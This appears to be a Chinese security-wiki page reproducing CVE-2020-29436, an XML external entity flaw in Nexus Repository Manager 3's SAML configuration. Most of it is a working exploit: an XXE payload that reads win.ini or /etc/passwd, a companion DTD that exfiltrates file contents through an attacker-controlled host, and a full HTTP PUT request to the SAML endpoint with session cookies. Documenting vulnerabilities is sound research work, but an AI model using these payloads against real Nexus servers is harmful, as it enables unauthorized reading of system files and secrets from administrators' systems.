menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right Nexus Repository Manager 3 XML外部实体注入(CVE-2020-29436).md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    Nexus Repository Manager 3 XML外部实体注入(CVE-2020-29436).md
    3.02 KB / 2021-05-21 09:14:38
        # Nexus Repository Manager 3 XML外部实体注入(CVE-2020-29436)
    
    在 Nexus Repository Manager 3中存在XML外部实体注入( XXE )漏洞。该漏洞使具有NXRM中管理帐户的攻击者能够以一种方式配置系统,使他们可以查看文件系统上的文件,并与NXRM可以访问的任何后端或外部系统进行交互。攻击者必须在Repository Manager实例中具有管理级别的用户帐户才能以这种方式配置系统。
    
    Nexus Repository Manager3在较高的版本中也会强制更改以前较低版本使用的默认密码admin/admin123。
    
    **漏洞复现**
    
    来到后台Saml的功能点:
    
    ![](media/16096800702847/16096800807682.jpg)
    
    
    看到这个大大的XML输入框就知道大概率是有XML操作的。
    
    简单测试下能不能进行dtd请求,如果能的话很可能读取文件也可以:
    
    ![](media/16096800702847/16096800884159.jpg)
    
    
    点击保存就能看到进行了请求。测试了下读文件,可以利用ftp、http等协议带出单行文件,看了下jdk版本在windows是使用的自带的8u252,@r00t4dm在mac上的安装包不会自带jdk,使用的是系统的,那么linux下也是系统的,所以试用的是较低版本的jdk,是可以带换行的。后面看了下返回包,居然把异常返回到了json,那么我们可以通过报错xml将任何文本字符带出了,包括\n、#、<等文本字符。
    
    payload:
    
    
    ```xml
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE ANY [
            <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
            <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
            %dtd;
            %send;
            ]>
    <ANY>xxe</ANY>
    
    dtd:
    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM '%file;'>"
    >
    %all;
    ```
    
    ![](media/16096800702847/16096801029588.jpg)
    
    
    漏洞分析:https://paper.seebug.org/1431/
    来源:https://paper.seebug.org/1431/
    
    ref:
    https://s.tencent.com/research/bsafe/1201.html
    
    
    ```
    PUT /service/rest/internal/ui/saml?_dc=1608107853558 HTTP/1.1
    Host: r00t4dm.com:8081
    Content-Length: 536
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
    NX-ANTI-CSRF-TOKEN: 0.03162010377420388
    Content-Type: application/json;charset=UTF-8
    Origin: http://r00t4dm.com:8081
    Referer: http://r00t4dm.com:8081/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: _ga=GA1.2.2078132679.1597230524; _rdt_uuid=1597230524157.df69997b-229f-41bf-9635-03b3f3f20329; context-profile-id=91ee4f3c-de97-4fa0-a514-22cd16f961ec; NX-ANTI-CSRF-TOKEN=0.03162010377420388; NXSESSIONID=971afe8d-2236-4629-a25d-44da86726602
    Connection: close
    
    {"idpMetadata":"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<!DOCTYPE ANY [\n        <!ENTITY % file SYSTEM \"file:///etc/passwd\">\n        <!ENTITY % dtd SYSTEM \"http://10.211.55.2:8000/filen.dtd\">\n        %dtd;\n        %send;\n        ]>\n<ANY>xxe</ANY>","entityIdUri":"http://r00t4dm.com:8081/service/rest/v1/security/saml/metadata}
    ```
    
    https://forum.ywhack.com/thread-114837-1-2.html
    
    links
    file_download